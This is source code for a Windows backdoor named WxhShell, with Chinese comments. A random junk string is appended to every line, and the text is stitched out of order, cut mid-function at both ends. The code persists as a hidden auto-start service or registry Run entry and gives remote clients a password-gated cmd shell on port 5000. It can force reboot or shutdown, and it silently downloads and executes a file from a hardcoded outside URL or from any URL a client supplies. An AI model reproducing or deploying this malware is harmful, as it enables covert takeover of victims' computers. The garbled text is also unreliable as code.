    if(Boot(SHUTDOWN)) Ej+]^t$\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KkdG.c'  
    else { uP%axys  
    closesocket(wsh); ^<>Jw%H  
    ExitThread(0); y\)G7 (  
    } us\%BxxI9  
    break; Bbl)3$`,  
    } O^X[9vrW  
  // 获取shell m~Y'$3w  
  case 's': { ' 1P=^  
    CmdShell(wsh); xm}q6>jRV  
    closesocket(wsh); vbRrk($`  
    ExitThread(0); (>rS _#^  
    break; wR Xn9  
  } t<!+b@l5  
  // 退出 YQ8j  
  case 'x': { P\22op_te-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +}c|O+6g  
    CloseIt(wsh); CJMaltPp&  
    break; t+=12{9;f  
    } Ad]<e?oN=  
  // 离开 ']d!?>C@o  
  case 'q': { e;A^.\SP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >/TB_ykb  
    closesocket(wsh); gx!*O<|e4  
    WSACleanup(); f?=r3/AO  
    exit(1); 1z})mfsh  
    break; CB*`  
        } O+G~Qp0b>  
  } WFU?o[k-O  
  } 6keP':bt  
z:Xj_ `p  
  // 提示信息 n_""M:XH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !lQ#sL`  
} Z?~gQ $  
  } `e'G.@  
?%cn'=>ZI  
  return; -yX.Jv  
} CRZi;7`*1  
I@3Q=14k%  
// shell模块句柄 0Jm]f/iZ  
int CmdShell(SOCKET sock) Tjnt(5g  
{ hAV2F #  
STARTUPINFO si; ./"mn3U  
ZeroMemory(&si,sizeof(si)); *Rz{44LP&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,U6*kvHS6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +M44XhT  
PROCESS_INFORMATION ProcessInfo; `pP9z;/Xq  
char cmdline[]="cmd"; -Wl)Lez@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); abM84EU  
  return 0; 5Y(r\Dd  
} 'RDWU7c9]  
'R^iKNPs  
// 自身启动模式 ]s*5[ =uc2  
int StartFromService(void) 3C277nx  
{ YHs?QsP  
typedef struct 5a=nF9/  
{ .cw!ls7d  
  DWORD ExitStatus; kRmj"9oA  
  DWORD PebBaseAddress; 25xcD1*  
  DWORD AffinityMask; wn &$C0  
  DWORD BasePriority; HA$Y1}  
  ULONG UniqueProcessId; r#LnDseW  
  ULONG InheritedFromUniqueProcessId; HzP.aw4  
}   PROCESS_BASIC_INFORMATION; sW;7m[o  
rs[?v*R74  
PROCNTQSIP NtQueryInformationProcess; @4;HC=~  
_FL<egK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "Jb3&qdU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LWD.  
E9^(0\Z I  
  HANDLE             hProcess; ^4+r*YvcM  
  PROCESS_BASIC_INFORMATION pbi; J1.qhy>  
pU M&"V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `Jn,IDq  
  if(NULL == hInst ) return 0; %/P=m-K  
0;}Aj8Fle  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m])Lw@#9W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [!^cd%l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ows^W8-w  
6H0W`S0a  
  if (!NtQueryInformationProcess) return 0; gzor%)C  
ppEJs  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S,lxM,DL&  
  if(!hProcess) return 0; doLkrEm&  
Y mq3ty]Pe  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dY1J<L}")  
a IQOs  
  CloseHandle(hProcess); ;U |NmC+  
iDZrK%f l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0[.3Es:_  
if(hProcess==NULL) return 0; 8GY.){d!l  
e{5,'(1]  
HMODULE hMod; xFOBF")  
char procName[255]; A 6:Q<  
unsigned long cbNeeded; QO@6VY@  
 for {  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sN-oEqS  
QW2?n`Fa9-  
  CloseHandle(hProcess); -)X{n?i  
CQ<8P86gt  
if(strstr(procName,"services")) return 1; // 以服务启动 ai4PM b$p  
?gLAWz  
  return 0; // 注册表启动 =qw &dwIQ  
} S9J5(lYv~N  
=:4?>2)  
// 主模块 N*f^Z#B]  
int StartWxhshell(LPSTR lpCmdLine) Rxx>{+f4M  
{ WJAYM2 6\  
  SOCKET wsl; :.DI_XN`  
BOOL val=TRUE; d4J<,  
  int port=0; tR<L`?4  
  struct sockaddr_in door; r]0(qg  
e[}],W  
  if(wscfg.ws_autoins) Install(); t~ -J %$  
y5_XHi@u~o  
port=atoi(lpCmdLine); bjlkX[{}I  
u^l*5F%DK  
if(port<=0) port=wscfg.ws_port; 7gm:ZS   
z`OkHX*+2|  
  WSADATA data; ZY)%U*jWU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mY`@'  
3q"7K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b{BaQ>.(`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K}Na3}m  
  door.sin_family = AF_INET; q@%h^9.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QhCY}Q?X  
  door.sin_port = htons(port); ~6kJ~R4  
M\ dO({o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q&gPa]z]}  
closesocket(wsl); @HvScg*Y  
return 1; QNb>rLj52  
} dhW<p 5  
!_dR'  
  if(listen(wsl,2) == INVALID_SOCKET) {  \dTQQ  
closesocket(wsl); OTE<x"=h  
return 1; @89I#t6A.  
} !y%+GwoW  
  Wxhshell(wsl); :c=v}  
  WSACleanup(); kxh 5}eB  
7 W{~f?Sh  
return 0; #d% vT!Bz~  
g ?V&mu  
} Y9tV%  
UW/N MjK  
// 以NT服务方式启动 k-Fdj5/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gfm;xT/y  
{ [fxuUmU  
DWORD   status = 0; ~0ooRUWU7  
  DWORD   specificError = 0xfffffff; k}zd' /b  
\B&6TeR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Xem5@ (u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H} 6CKP}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {`F1u?l  
  serviceStatus.dwWin32ExitCode     = 0; /W`$yM3  
  serviceStatus.dwServiceSpecificExitCode = 0; )\0q_a  
  serviceStatus.dwCheckPoint       = 0; ec?V[v  
  serviceStatus.dwWaitHint       = 0; 88g47>{X  
}/p/pVz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \TUE<<?1s  
  if (hServiceStatusHandle==0) return; ?+Q$#pb  
sB6dp D  
status = GetLastError(); # k9 <  
  if (status!=NO_ERROR) +#s;yc#=2  
{ f;wc{qy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xr.XU'  
    serviceStatus.dwCheckPoint       = 0; ~ezCu_  
    serviceStatus.dwWaitHint       = 0; qm'b'!gq~  
    serviceStatus.dwWin32ExitCode     = status; B+Z13;}B  
    serviceStatus.dwServiceSpecificExitCode = specificError; "yW&<7u1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SX+4 HJB  
    return; %$TEDr!  
  } #Qd' + M  
k" YHsn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x@m<Ym-  
  serviceStatus.dwCheckPoint       = 0; j{;|g%5t  
  serviceStatus.dwWaitHint       = 0; ) * TF"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9U^$.Lb  
} $O9Xx  
W2eAhz&  
// 处理NT服务事件,比如:启动、停止 Hbk&6kS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FJT1i@N  
{ _]=9#Fg7{  
switch(fdwControl) CZ3].DA|z  
{ 2xn<E>]  
case SERVICE_CONTROL_STOP: Pz@/|&]  
  serviceStatus.dwWin32ExitCode = 0; `(DJs-xD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .oR3Q/|k]  
  serviceStatus.dwCheckPoint   = 0; /.$L"u  
  serviceStatus.dwWaitHint     = 0; (ua q<Cvg  
  { rl?7W];  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s<&[\U  
  } TsHF tj9S  
  return; EgNH8i  
case SERVICE_CONTROL_PAUSE: `c(\i$1JY)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8Z#21X>  
  break; AIh*1>2Xn  
case SERVICE_CONTROL_CONTINUE: _faJB@a_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2*u.3,aW  
  break; //.>>-~1m  
case SERVICE_CONTROL_INTERROGATE: `f)(Y1%.  
  break; ,w2WS\`%  
}; b/<mRQ{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3SNL5  
} a2yE:16o6  
eN/G i<  
// 标准应用程序主函数 OVR?*"N_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mW4%2fD[  
{ m<:IFx#  
f^9&WT  
// 获取操作系统版本 PZ,z15PG]  
OsIsNt=GetOsVer(); >uy%-aXiVa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P`TIaP9%E  
tZA:  
  // 从命令行安装 -(IC~   
  if(strpbrk(lpCmdLine,"iI")) Install(); y ~AmG~  
S&?7K-F>_o  
  // 下载执行文件 i:Y\`J  
if(wscfg.ws_downexe) { Ld(NhB'7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `4 UlJ4<`  
  WinExec(wscfg.ws_filenam,SW_HIDE); !M;A*:-  
} jG D%r~lN  
(}gcY  
if(!OsIsNt) { _%ZP{5D>  
// 如果时win9x,隐藏进程并且设置为注册表启动 <I2z&  
HideProc(); <>=mCZ2  
StartWxhshell(lpCmdLine); ]V<-J   
} {/}^D-  
else B~TN/sd  
  if(StartFromService()) @6&JR<g*t  
  // 以服务方式启动 {TAw)!R~  
  StartServiceCtrlDispatcher(DispatchTable); \%5MAQS  
else r]LCvsVa  
  // 普通方式启动 %8FN0  
  StartWxhshell(lpCmdLine); C1QV[bJK  
mhzYz;}  
return 0; "&QH6B1U6H  
} CWlW/>yF B  
o\6iq  
L"vj0@n'0  
SW9fE :v  
=========================================== ?)i1b\4Go  
it1/3y =]  
{1~T]5  
Do*n#=  
\##5O7/1  
&[j]Bp?  
" *YvRNHP  
 ( Uk ,  
#include <stdio.h> n%$ &=-Fk  
#include <string.h> [e e30ELn  
#include <windows.h> mX\ ;oV!  
#include <winsock2.h> js <Ww$zFW  
#include <winsvc.h> lf$Ve  
#include <urlmon.h> 4| Ui?.4=  
2]ti!<  
#pragma comment (lib, "Ws2_32.lib") ::"E?CQLV  
#pragma comment (lib, "urlmon.lib") i@zY9,b  
MYdx .NZT  
#define MAX_USER   100 // 最大客户端连接数 U<bYFuS"  
#define BUF_SOCK   200 // sock buffer D7Zm2Kj  
#define KEY_BUFF   255 // 输入 buffer Z8&' f,  
CAgaEJhX3  
#define REBOOT     0   // 重启 kso*}uh0  
#define SHUTDOWN   1   // 关机 gx;O6S{  
)^/0cQcJ  
#define DEF_PORT   5000 // 监听端口 fgCT!s7z  
`\b+[Nes  
#define REG_LEN     16   // 注册表键长度 *jCW.ZLY  
#define SVC_LEN     80   // NT服务名长度 o""~jc~  
KCtX $XGL  
// 从dll定义API &; >4N"]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BSzkW}3q9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qO()w   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {-WTV"L5*2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lhPGE_\  
$f-hUOuyo  
// wxhshell配置信息 li/aN  
struct WSCFG { ^^}Hs-{T  
  int ws_port;         // 监听端口 VKrShI  
  char ws_passstr[REG_LEN]; // 口令 -[]';f4]M  
  int ws_autoins;       // 安装标记, 1=yes 0=no N"c(e6  
  char ws_regname[REG_LEN]; // 注册表键名 qnIew?-*  
  char ws_svcname[REG_LEN]; // 服务名 w~+aW(2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [m2+9MMl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o4Q3<T7nI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I3)Zr+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :.&{Z"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L *Y|ey  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U[||~FW'  
$0qMQ%P  
}; c`kQvXx  
2`Gv5}LfyR  
// default Wxhshell configuration REA;x-u*  
struct WSCFG wscfg={DEF_PORT, 4v.d-^  
    "xuhuanlingzhe", rt!r2dq"  
    1, Ai kf|)D[  
    "Wxhshell", wda';@y5(  
    "Wxhshell", u"+}I,'L  
            "WxhShell Service", M-MKk:o  
    "Wrsky Windows CmdShell Service", A3R#z]Ub  
    "Please Input Your Password: ", J^zi2 jtV  
  1, 2{oThef[O  
  "http://www.wrsky.com/wxhshell.exe", tT5pggml  
  "Wxhshell.exe" *g$i5!yM'  
    }; :uK btoA  
-%m3-xZA  
// 消息定义模块 YfDWM7x7,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,XB%\[pKe  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C`K^L=8`{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jP=Hf=:$  
char *msg_ws_ext="\n\rExit."; qd6fU^)i  
char *msg_ws_end="\n\rQuit."; JYmAn?o-  
char *msg_ws_boot="\n\rReboot..."; GyC)EFd  
char *msg_ws_poff="\n\rShutdown..."; I%;Jpe  
char *msg_ws_down="\n\rSave to "; \l,rpVv5m  
5%i:4sMx *  
char *msg_ws_err="\n\rErr!"; AW8'RfC.  
char *msg_ws_ok="\n\rOK!"; Oh; Jw  
<kc# thL  
char ExeFile[MAX_PATH]; =G${[V \  
int nUser = 0; .SS<MDcqIt  
HANDLE handles[MAX_USER]; r>|-2}{N/  
int OsIsNt;  .i/m  
ht6244:  
SERVICE_STATUS       serviceStatus; vg\/DbI'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `_qK&&s  
wAF,H8 -DK  
// 函数声明 U A-7nb  
int Install(void); pn%#w*'  
int Uninstall(void); aV|9H  
int DownloadFile(char *sURL, SOCKET wsh); QLo(i  
int Boot(int flag); !Q %P%P<$  
void HideProc(void); Q{y{rC2P  
int GetOsVer(void); q``wt  
int Wxhshell(SOCKET wsl); }[!92WS/ee  
void TalkWithClient(void *cs); 2 y8~#*O  
int CmdShell(SOCKET sock); lU.Kc  
int StartFromService(void); +U8Bln  
int StartWxhshell(LPSTR lpCmdLine); V3sL;  
K1q+~4>\|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T *>`,}J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6mPm=I[oh  
4s.]M>Yb  
// 数据结构和表定义 X.#oEmA ,P  
SERVICE_TABLE_ENTRY DispatchTable[] = ;L"!I3dM)  
{ |:[9O`U)s  
{wscfg.ws_svcname, NTServiceMain}, Zi ESlf$  
{NULL, NULL} zG9|K  
}; ?IhB-fd>@  
Sc$UZ/qPT  
// 自我安装 $g\&5sstE  
int Install(void) ]z ==   
{ 1wn&js C  
  char svExeFile[MAX_PATH]; WeJ@x L  
  HKEY key; Xu}U{x>  
  strcpy(svExeFile,ExeFile); \caH pof  
rT6?!$"%.  
// 如果是win9x系统,修改注册表设为自启动 d8x%SQ!V  
if(!OsIsNt) { PuCc2'#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )&W**!(C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'Pd(\$ZY  
  RegCloseKey(key); p2O~>97t1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }iiHr|l3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S2^>6/[xM  
  RegCloseKey(key); 1~yZ T  
  return 0; #1/}3+=5B  
    } gNj7@bX~  
  } SN Y (*  
} $dg9z}D  
else { c:hK$C)T  
Gt-UJ-RR y  
// 如果是NT以上系统,安装为系统服务 $:bih4 @>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \~DM   
if (schSCManager!=0) `!4,jd  
{ F4C!CUI  
  SC_HANDLE schService = CreateService veh 5 }2  
  ( }*wLEa  
  schSCManager, {^ec(EsO#  
  wscfg.ws_svcname, 3YL l;TP_  
  wscfg.ws_svcdisp, *dsX#Iz  
  SERVICE_ALL_ACCESS, 1y5Ex:JVZT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,T5u'";  
  SERVICE_AUTO_START, I0 Ia6w9  
  SERVICE_ERROR_NORMAL, ?ny =  
  svExeFile, uh3) 0.nR  
  NULL, S\ ,mR4:  
  NULL, 4_=Ja2v8;`  
  NULL, nWYCh7  
  NULL, %JL]; 4'  
  NULL <nHkg<O6Y  
  ); f@ `*>"  
  if (schService!=0) U~f4e7x*O  
  { i!H!;z#  
  CloseServiceHandle(schService); [0@`wZ  
  CloseServiceHandle(schSCManager); @!%n$>p/V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !DXNo(:r  
  strcat(svExeFile,wscfg.ws_svcname); 5>_5]t {  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #/-_1H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `dkV_ O0  
  RegCloseKey(key); [xlIG}e9  
  return 0; 1y"3  
    } @4GA^h  
  } 2W<n5o   
  CloseServiceHandle(schSCManager); <z)m%*lvU  
} g.DLfwI|  
} DtxE@,  
)P Jw+5  
return 1; |\9TvN^$`  
} onei4c>@  
-*ELLY[  
// 自我卸载 #%,RJMv  
int Uninstall(void) G=/k>@Di  
{ gwB\<rzG  
  HKEY key; XEH}4;C'{  
rNN j0zw>  
if(!OsIsNt) { uGH?N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LF<wt2?*  
  RegDeleteValue(key,wscfg.ws_regname); -_A$DM!^=w  
  RegCloseKey(key); \Ad7 Gi~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IQ!Fv/I<  
  RegDeleteValue(key,wscfg.ws_regname); :7.Me ;RA  
  RegCloseKey(key); a:rX9-**  
  return 0; %5'6Tj  
  } ^krk&rW3  
} Djt%r<  
} 3{7T4p.G  
else { TpfZ>d2  
Ty4S~ClO#'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '?5j[:QY@  
if (schSCManager!=0) -apXI.  
{ D56<fg$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L=!of{4Z(}  
  if (schService!=0) NTs7KSgZ  
  { vp)Vb^K>  
  if(DeleteService(schService)!=0) { /YKMKtE  
  CloseServiceHandle(schService); OYL]j{  
  CloseServiceHandle(schSCManager); E#%}ZY  
  return 0; S -&)p@4  
  } 8/%6@Y"Y*  
  CloseServiceHandle(schService); :py\ |  
  } PRu&3BP  
  CloseServiceHandle(schSCManager); |CD"*[j]  
} c/3$AUsuO  
} ;/O#4]2*  
lx0 ~>K]  
return 1; B{6<;u)[  
} Q(7ob}+jQ  
@E9" Zv-$  
// 从指定url下载文件 PO-"M)M  
int DownloadFile(char *sURL, SOCKET wsh) 5p"BD'^:  
{ Zk-~a r  
  HRESULT hr; hlJpElYf  
char seps[]= "/"; IzLF'F  
char *token; -6~'cm  
char *file; QrYa%D+  
char myURL[MAX_PATH]; eCbf9B  
char myFILE[MAX_PATH]; p^)B0[P9  
Z9`TwS@x[  
strcpy(myURL,sURL); ~W0(1# i  
  token=strtok(myURL,seps); Kyg=$^{>G  
  while(token!=NULL) Ww3wsyx  
  { PH3 >9/H  
    file=token; b0<o  
  token=strtok(NULL,seps); >7Jr^o#|_x  
  } EM j;2!  
Fzq41jiS  
GetCurrentDirectory(MAX_PATH,myFILE); A&5:ATQ/|  
strcat(myFILE, "\\"); 5N7H{vT_  
strcat(myFILE, file); @I3eK^#|P  
  send(wsh,myFILE,strlen(myFILE),0); q1VH5'p@  
send(wsh,"...",3,0); 77 r(*.O|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vG.9 H_&  
  if(hr==S_OK) T3%C%BcX  
return 0; k\)Cw  
else .10y0F L4  
return 1; h:bru:ef  
3)Ac"nuyqH  
} O~Wt600{E  
i&Fiq&V)[  
// 系统电源模块 9]'&RyH=#  
int Boot(int flag) dR^"X3$  
{ I~* ? d  
  HANDLE hToken; ( <*e  
  TOKEN_PRIVILEGES tkp; R=j% S!  
BHFY%6J!  
  if(OsIsNt) { f2I6!_C!+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); myFAKRc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TX8<J>x  
    tkp.PrivilegeCount = 1; cQj-+Tmu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; njPPztv/@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hcCp,b  
if(flag==REBOOT) { 6i@\5}m=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "B7`'jz  
  return 0; -Sv"gLB  
} @p=AWi}\  
else { ShOX<Fb&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R,2P3lv1v@  
  return 0; nR;D#"p%  
} CO+/.^s7}S  
  } dP2irC%f8  
  else { LtgXShp_!  
if(flag==REBOOT) { Ard]147  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Kn;D?ioY  
  return 0; &BE  g  
} vV?rpe|%  
else { arK_oh0B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {No L  
  return 0; a `Q ot  
} d@C&+#QDF  
} qO1tj'U<  
\00DqL(Oj`  
return 1; vxQ8t!-u  
} ~p0c3*  
una%[jTc  
// win9x进程隐藏模块 t(!r8!c u}  
void HideProc(void) K4Dp:2/K%  
{ BP[|nL  
^ZDBO/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n.oUVr=nX  
  if ( hKernel != NULL ) 5~sx:0;  
  { I751 t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9Z"+?bv/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "6ECgyD+E!  
    FreeLibrary(hKernel); `Mj}md;O"  
  } Sw&!y$ed  
0JuD ^  
return; TJ8E"t*)  
} +k<w!B*  
{:nQl}  
// 获取操作系统版本 ,|?CU r9Y  
int GetOsVer(void) ]q5`YB%_  
{ 3uu~p!2  
  OSVERSIONINFO winfo; @wmi 5oExc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fU3`v\X  
  GetVersionEx(&winfo); 7}O.wUKw%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D#A~Nbc  
  return 1; &)F*@C-  
  else RkeltE~u  
  return 0; b^c9po  
} smY$-v)@  
3oZ=k]\  
// 客户端句柄模块 p{dwZ_gl  
int Wxhshell(SOCKET wsl) eas:6Q)  
{ v60^4K>  
  SOCKET wsh; 9i5,2~  
  struct sockaddr_in client; rX7QbAB  
  DWORD myID; s?Uh|BfB  
o\otgyoh  
  while(nUser<MAX_USER) M]v=-  
{ lS^(&<{  
  int nSize=sizeof(client); <N,)G |&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DHC+C4  
  if(wsh==INVALID_SOCKET) return 1; f;SC{2f  
H1" q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DciwQcG  
if(handles[nUser]==0) _M[,! {C  
  closesocket(wsh); {%v-(  
else q@5K6yE  
  nUser++; :q<Z'EnW  
  } sd#|3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5v)(8|.M  
}ov&.,vQ  
  return 0; Dq@2-Cv  
} Z BUArIC  
W,@ If}  
// 关闭 socket -tsDMji~V  
void CloseIt(SOCKET wsh) ;!< Znw  
{ 6pOx'u>h+  
closesocket(wsh); nnb8Gcr  
nUser--; >gKh  
ExitThread(0); Syp"L;H8Em  
} 7r+g8+4  
ZI ;<7tF_z  
// 客户端请求句柄 hd V1nS$  
void TalkWithClient(void *cs) P|2E2=G  
{ %Pqk63QF  
j;_c+w!P  
  SOCKET wsh=(SOCKET)cs; Q zZ;Ob]'  
  char pwd[SVC_LEN]; Z4$cyL'$P  
  char cmd[KEY_BUFF]; [ =x s4=  
char chr[1]; 4F>Urh+  
int i,j; t&Os;x?To?  
/y7M lU9  
  while (nUser < MAX_USER) { 9mc!bj^811  
R2L;bGI*J  
if(wscfg.ws_passstr) { 8mLP5s!7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |wEN`#.;b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o'~5pS(wq  
  //ZeroMemory(pwd,KEY_BUFF); ;|p$\26S)%  
      i=0; g[>\4B9t  
  while(i<SVC_LEN) { $ N']TN  
"N:XzG  
  // 设置超时 lJP1XzN_  
  fd_set FdRead; 8 #X5K  
  struct timeval TimeOut; \k`n[{  
  FD_ZERO(&FdRead); (C] SH\  
  FD_SET(wsh,&FdRead); LWsP ya  
  TimeOut.tv_sec=8; ']- @? sD$  
  TimeOut.tv_usec=0; y|&}.~U[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Mr--4D0Hk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pu!dqF<  
e7fiGl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'evj,zFhW  
  pwd=chr[0]; H+}"q$  
  if(chr[0]==0xd || chr[0]==0xa) { @UBjq%z  
  pwd=0; wfL-oi'5  
  break; 8E&XbqP+  
  } u JR%0E7!  
  i++; U`Jy!x2m  
    } .O*bILU  
Ko&hj XHx  
  // 如果是非法用户,关闭 socket !}\4u tHY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /<CSVJ_r  
} @\oz4^  
v]% WH~>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dLsn\m>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xCzebG["  
_ 7PMmW@  
while(1) { >StO.Q99  
fW`&'!  
  ZeroMemory(cmd,KEY_BUFF); kY,U8a3!  
1CPjil*eb  
      // 自动支持客户端 telnet标准   Iq+>qX   
  j=0; MC 0TaP  
  while(j<KEY_BUFF) { #zrTY9m7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e}@)z3Q<l  
  cmd[j]=chr[0]; `6y{.$ z  
  if(chr[0]==0xa || chr[0]==0xd) { .*$OQA  
  cmd[j]=0; ;n=. {[,  
  break; ~'5  
  } MRr</o  
  j++; \ 6EKgC1  
    } LAx4Xp/  
1iL 'V-y  
  // 下载文件 0w'j+  
  if(strstr(cmd,"http://")) { Et"?8\"n7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B .TB\j  
  if(DownloadFile(cmd,wsh)) '6$*YN&5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 nb:)  
  else Hv]7e|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G>YAJ o  
  } o ]Jv;Iy@?  
  else { 4> ^K:/y  
r4x3$M c  
    switch(cmd[0]) { \^1+U JU  
  L.xZ_ 6  
